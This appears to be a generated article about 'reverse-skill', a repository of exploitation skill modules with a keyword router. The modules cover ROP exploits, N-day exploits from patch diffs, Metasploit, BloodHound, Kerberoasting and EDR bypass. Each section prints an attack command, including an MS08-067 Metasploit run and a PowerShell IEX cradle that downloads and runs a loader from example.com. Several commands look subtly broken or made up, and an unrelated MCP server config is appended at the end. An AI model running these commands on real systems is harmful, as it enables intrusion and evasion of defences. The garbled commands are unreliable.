Reverse‑Skill Exploitation Skills: Complete Guide to the 6 Core Security Modules

The reverse‑skill framework covers six distinct exploitation domains: binary‑level exploit development, patch‑diff N‑day creation, penetration‑testing frameworks, post‑exploitation attack chains, Windows Active Directory attacks, and EDR/AV bypass techniques.

The reverse‑skill repository operates as a modular skill router that directs security tasks to specialized exploitation modules based on keyword analysis. Designed for authorized security research and red team operations, the framework maps discovered vulnerabilities to working payloads through a rules‑based routing system centralized in skills/config/routing.json.

Binary‑Level Exploit Development

The pwn‑chain module handles low‑level binary exploitation once a vulnerability and its location are identified. According to the repository structure, this skill is defined in skills/pwn‑chain/SKILL.md and focuses on developing stable user‑space or kernel exploits.

The routing engine maps requests containing keywords like "rop" or "buffer overflow" to route R17, which loads this module. The skill provides workflows for building and stabilizing payloads against hardened binaries.

# Example from skills/pwn‑chain/SKILL.md – build and run a ROP payload

pwntools ./exploit.py -o payload.bin
./target_binary $(cat payload.bin)

Patch‑Diff and N‑Day Exploit Creation

The patch‑diff‑exploit module specializes in converting vendor‑released security patches into proof‑of‑concept or weaponized exploits. Defined in skills/patch‑diff‑exploit/SKILL.md, this skill handles CVE recreation and 1‑day/N‑day weaponization.

When the router encounters terms like "patch diff" or "n‑day" in the task description, it selects route R16 to invoke this module. The methodology centers on analyzing commit differences to identify missing bounds checks or modified logic.

# Example from skills/patch‑diff‑exploit/SKILL.md – generate a PoC from a diff

git clone https://github.com/vendor/project
cd project
git checkout <vulnerable‑tag>
git diff <patched‑tag> > changes.diff
./diff2exploit.py changes.diff > exploit.c
gcc exploit.c -o exploit

Penetration Testing Frameworks

The pentest‑tools skill provides orchestrated access to established exploitation frameworks. Located at skills/pentest‑tools/SKILL.md, this module integrates Metasploit, Impacket, Rubeus, and similar tools for credential dumping, lateral movement, and classic network exploitation.

Unlike the binary‑focused modules, this skill emphasizes rapid deployment of known exploits against identified services, streamlining the transition from vulnerability scanning to active compromise.

# Example from skills/pentest‑tools/SKILL.md – launch a known Metasploit module

msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.0.0.5; run"

Post‑Exploitation and Attack Chain Orchestration

The attack‑chain module manages multi‑stage operations after establishing an initial foothold. Defined in skills/attack‑chain/SKILL.md, this skill coordinates privilege escalation, persistence mechanisms, and lateral movement across compromised environments.

The module functions as a post‑exploitation planner, executing enumeration and trust analysis to map high‑value targets within the domain.

# Example from skills/attack‑chain/SKILL.md – enumerate domain trusts after foothold

bloodhound-python -d corp.local -u admin -p Pass123 -c Trusts -ns dc01.corp.local

Windows and Active Directory Exploitation

The windows‑ad skill covers domain‑specific attack paths including Kerberoasting, AD‑CS abuses, NTLM relay, and other Active Directory exploitation techniques. The workflow is documented in skills/windows‑ad/SKILL.md.

This module addresses the unique requirements of enterprise Windows environments, focusing on authentication protocol weaknesses and certificate service misconfigurations rather than traditional memory corruption.

# Example from skills/windows‑ad/SKILL.md – harvest Kerberos tickets

kerberoast -target corp.local -users userlist.txt -out tickets.kirbi

EDR and Antivirus Bypass Techniques

The edr‑bypass‑re module provides pre‑exploitation evasion capabilities. Defined in skills/edr‑bypass‑re/SKILL.md, this skill implements techniques for avoiding endpoint detection and response (EDR) systems before delivering the primary exploit payload.

The module includes syscall evasion methods and unhooking procedures to execute shellcode loaders while circumventing behavioral monitoring.

# Example from skills/edr‑bypass‑re/SKILL.md – run a shellcode loader that avoids AV hooks

powershell -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('https://example.com/loader.ps1')"

How the Router Selects Exploitation Skills

The framework’s routing engine automates skill selection through pattern matching against skills/config/routing.json. The process executes in three stages:

1. Master Route Execution: The scripts/master‑route.sh (or master‑route.ps1 on Windows) reads the central configuration file.
2. Regex Scoring: The engine evaluates each rule’s "must" regular expression clauses against the incoming task description.
3. Priority Selection: The rule with the highest score and earliest priority becomes the PRIMARY route, causing the router to load the corresponding SKILL.md file.

For example, a task containing "buffer overflow" matches route R17 (pwn‑chain), while "patch diff" matches route R16 (patch‑diff‑exploit). The router then presents the ACTION REQUIRED checklist from the selected skill to the analyst.

Safety and Authorization Controls

Because exploitation constitutes a high‑risk activity, every skill file implements mandatory safety checks. Each SKILL.md includes a self‑check checklist requiring verification of scope and authorization before execution.

All modules reference the RULES.md contract, which enforces legal authorization requirements and evidence‑tracking protocols. The framework prevents execution of any ACT step until the analyst confirms compliance with these contractual obligations.

Summary

• The reverse‑skill framework routes exploitation tasks through skills/config/routing.json, evaluated by scripts/master‑route.sh.
• Six specialized modules cover the full exploitation lifecycle: pwn‑chain for binary exploits, patch‑diff‑exploit for N‑day creation, pentest‑tools for framework‑based attacks, attack‑chain for post‑exploitation, windows‑ad for domain attacks, and edr‑bypass‑re for evasion.
• The router uses regex‑based scoring (e.g., R17 for ROP, R16 for patch diffs) to select the appropriate PRIMARY skill automatically.
• Every module enforces pre‑execution authorization checks via RULES.md and ACTION REQUIRED checklists to ensure authorized testing only.

Frequently Asked Questions

How does reverse‑skill determine which exploitation module to use?

The framework analyzes the task description against regular expressions defined in skills/config/routing.json. The scripts/master‑route.sh script scores each rule’s "must" clauses, selecting the highest‑priority match as the PRIMARY route. For instance, keywords like "rop" or "buffer overflow" trigger route R17 pointing to skills/pwn‑chain/SKILL.md.

What is the difference between the pwn‑chain and patch‑diff‑exploit modules?

Pwn‑chain (skills/pwn‑chain/SKILL.md) develops exploits for known vulnerabilities in binary programs using techniques like ROP chains and buffer overflow manipulation. Patch‑diff‑exploit (skills/patch‑diff‑exploit/SKILL.md) specifically analyzes vendor security patches to recreate exploits for already‑fixed vulnerabilities (N‑day or 1‑day scenarios).

Does reverse‑skill include protections against unauthorized exploitation attempts?

Yes. Every exploitation skill references RULES.md and includes a mandatory self‑check checklist that requires explicit confirmation of authorization scope before executing any ACT step. The framework is architected to enforce legal authorization and evidence‑tracking as non‑optional prerequisites.

Can reverse‑skill automate post‑exploitation activities like lateral movement?

The attack‑chain module (skills/attack‑chain/SKILL.md) specifically handles post‑exploitation orchestration, including lateral movement, privilege escalation, and persistence planning. It executes tools like BloodHound to map domain trusts and plan multi‑stage attacks after the initial foothold is established.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}